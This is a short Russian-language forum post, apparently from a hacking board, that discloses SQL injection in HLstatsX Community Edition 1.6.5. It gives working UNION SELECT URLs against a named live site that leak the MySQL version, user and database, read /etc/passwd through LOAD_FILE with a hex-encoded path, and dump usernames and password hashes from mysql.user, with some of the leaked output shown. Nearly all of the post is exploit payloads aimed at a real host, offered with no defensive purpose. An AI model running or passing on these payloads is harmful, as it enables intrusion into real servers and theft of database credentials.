Всем прив давно мну не было.Писали нет по стате хл но все равно осмелюсь.

Двиг HLstatsX Community Edition 1.6.5


http://hlstatsx.eu/hlstats.php?mode=dailyawardinfo&award=-99+union+select+1,2,concat_ws(0x3a,version(), user(),database()),4--&game=css

Version: 5.0.45-log
User: root@92.48.227.131
Database: hlstatsce


Читаем : etc/passwd

http://hlstatsx.eu/hlstats.php?mode=dailyawardinfo&award=-99+union+select+1,2,CONCAT(0x3a,LOAD_FILE(0x2F6574 632F706173737764), 0x3a),4--&game=css


с мускула root

http://hlstatsx.eu/hlstats.php?mode=dailyawardinfo&award=-99+union+select+1,2,concat_ws(0x3a,user,password), 4+from+mysql.user--&game=css


Если что извиняйте.